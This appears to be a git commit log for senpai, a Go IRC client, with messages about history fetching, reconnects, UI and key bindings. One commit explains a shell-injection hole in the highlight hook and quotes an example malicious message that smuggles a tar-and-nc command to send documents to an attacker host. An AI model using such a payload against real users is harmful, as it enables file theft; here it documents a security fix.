| Commit message (Collapse) | Author | Age | Files | Lines |
... | |
|
|
|
| |
Otherwise it breaks infinite scrolling.
|
|
|
|
|
| |
This reverts commit 96340f8c4d91f59f6e39767891f9bb52d7fad329 because of
a bug in timeline rendering.
|
| |
|
|
|
|
|
| |
I prefer this over printing the IRC formatted string, since the topic
should be printed in gray.
|
| |
|
|
|
|
|
| |
The topic is the first line we put in a buffer, so we have to place the
first batch of history *before* the topic, instead of after.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Channels which have never received any message return no messages on the
initial chathistory, thus returning an empty bound with first == last ==
time.Time{}.
However this empty bound was stored in the channel bounds, and was used
as starting point for fetching history if Page Up was pressed. This in
turn caused senpai to send a CHATHISTORY BEFORE 01-01-0001 message,
which is invalid.
This fixes the issue by not storing an empty bound if the CHATHISTORY
request does not return any message.
|
|
|
|
| |
Seems like I really have too many channels... :)
|
| |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
This patch also disable the highlight on reconnect. This might be an
issue (the user would want to know when senpai is online again?), but
with multiple connections, it's bothersome to have to unread all of
them on start (it wasn't a problem with only one connection since it was
read instantly).
Now, lastbuffer.txt also contains the network ID, otherwise the user
might end up on another buffer with the same name.
This patch does not extend /r to support multiple networks (it will send
the message to the latest query, whatever the current displayed network
is).
|
| |
|
| |
|
|
|
|
| |
Instead of panicking, print an error in the home buffer
|
|
|
|
|
|
| |
Saves space
also removed non-edition related method IsCommand out of editor.go
|
| |
|
| |
|
|
|
|
|
|
|
|
|
|
| |
review emersion
review taiite
review taiite
Use os.WriteFile instead of os.Create
|
| |
|
| |
|
| |
|
| |
|
| |
|
| |
|
|
|
|
| |
just one step closer to proper CHATHISTORY support!! :=D ^v^
|
|
|
|
| |
Fixes: #47
|
| |
|
|
|
|
|
|
|
| |
The crash was due to accessing app.s.Nick() when app.s was nil.
This is a good opportunity to print a special prompt when disconnected:
I chose `<offline>`, in red.
|
|
|
|
|
|
|
|
| |
Also, fix the UI timeline clearing too much, as well as the status line.
Also, remove the width in the editor and buffer list constructors. We
were initializing them with wrong values, only to overwrite these values
with correct ones later in Resize().
|
|
|
|
| |
Fixes: #45
|
|
|
|
|
|
|
|
| |
Namely, we want the unread light to show up only on actual messages, not
commands etc.
This opens the way for not showing an unread light when printing topic
on join.
|
|
|
|
|
| |
Supporting channels with keys and merging JOINs in a single message is
TODO for later. :)
|
| |
|
| |
|
| |
|
|
|
|
|
|
|
|
| |
We have /QUIT for quitting. Most well-known IRC clients don't quit on
CTRL+C but they do on QUIT.
Clearing the editor input on CTRL+C is useful for shell-like behaviour
"abort current line, let me start my line again".
|
|
|
|
| |
Namely the emulated Jetbrains Golang debugging PTY. :)
|
| |
|
|
|
|
| |
So that the colors go well with the terminal background.
|
|
|
|
|
|
|
|
| |
- do the TLS eagerly instead of waiting for the first write, so that an
error message can be printed,
- sleep for 10 seconds before reconnecting, otherwise when connecting
without TLS to a TLS server, the connection will always succeed while
the first writes will not.
|
|
|
|
| |
Reason: interaction with services don't render well with parenthesis
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Refactor:
- Split out reads/writes from irc.Session to irc.ChanInOut,
- Message handling is now manual, messages must be passed to
irc.Session.HandleMessage for its state to change,
- Remove data-race-prone App.addLineNow (called from both the main
eventLoop and irc loops) and add App.addStatusLine (to be called from
the main event loop) and App.queueStatusLine (to be called from other
goroutines). These two functions now write to both the current buffer
and the home buffer,
- add a irc.Typings.List function that locks the list of typings before
accessing it.
Changes as I went through the whole code...
- CAP handling is fixed (especially CAP DEL and CAP ACK),
- irc.Session now handles PREFIX,
- unhandled messages are now shown, except for some rare cases where
it's completely useless to show them.
|
| |
|
| |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
Breaking change!
The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:
<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "
Given that my on-highlight is:
notify-send "%b" "<%n> %m"
This would be transformed into:
notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""
And this way it becomes a huge security vulnerability.
When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.
Though, this requires a little update to users' on-highlight setting:
%b -> $BUFFER
%n -> $SENDER
%m -> $MESSAGE
%h -> $HERE
|
|
|
|
|
|
| |
To not break existing users, mouse is enabled by default but you have an
option to disable it with "mouse: false" in your
/.confg/senpai/senpai.yaml.
|
|
|
|
|
| |
A very useful readline feature when combined with ^W can be a really
quick way to reformat a sentence, which is what I do on IRC quite often.
|
| |
|
|
|
|
|
|
|
|
|
|
| |
It allows to delete the current word (any string of characters until a
space). Also, all spaces at the start are cleared to allow doing
something like:
Hello world|
Hello | <- the cursor is at a space
| <- nothing left
|
| |
|
| |
|